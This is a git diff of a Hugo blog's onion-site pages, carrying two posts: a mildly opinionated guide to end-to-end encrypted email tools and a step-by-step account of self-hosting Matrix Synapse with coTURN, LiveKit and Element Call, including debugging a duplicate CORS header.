    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/e2ee/page/1/index.html b/public-onion/tags/e2ee/page/1/index.html new file mode 100644 index 0000000..4da4c79 --- /dev/null +++ b/public-onion/tags/e2ee/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/e2ee/ + + + + + + diff --git a/public-onion/tags/element-call/index.html b/public-onion/tags/element-call/index.html new file mode 100644 index 0000000..17cfb62 --- /dev/null +++ b/public-onion/tags/element-call/index.html @@ -0,0 +1,357 @@ + + + + + + + +Element-Call | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/element-call/index.xml b/public-onion/tags/element-call/index.xml new file mode 100644 index 0000000..5fd5961 --- /dev/null +++ b/public-onion/tags/element-call/index.xml @@ -0,0 +1,370 @@ + + + + Element-Call on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + Recent content in Element-Call on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/element-call/page/1/index.html b/public-onion/tags/element-call/page/1/index.html new file mode 100644 index 0000000..2c9961c --- /dev/null +++ b/public-onion/tags/element-call/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + + + + + + diff --git a/public-onion/tags/email/index.html b/public-onion/tags/email/index.html new file mode 100644 index 0000000..5e833d8 --- /dev/null +++ b/public-onion/tags/email/index.html @@ -0,0 +1,352 @@ + + + + + + + +Email | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/email/index.xml b/public-onion/tags/email/index.xml new file mode 100644 index 0000000..fa54bbb --- /dev/null +++ b/public-onion/tags/email/index.xml @@ -0,0 +1,177 @@ + + + + Email on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/email/ + Recent content in Email on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
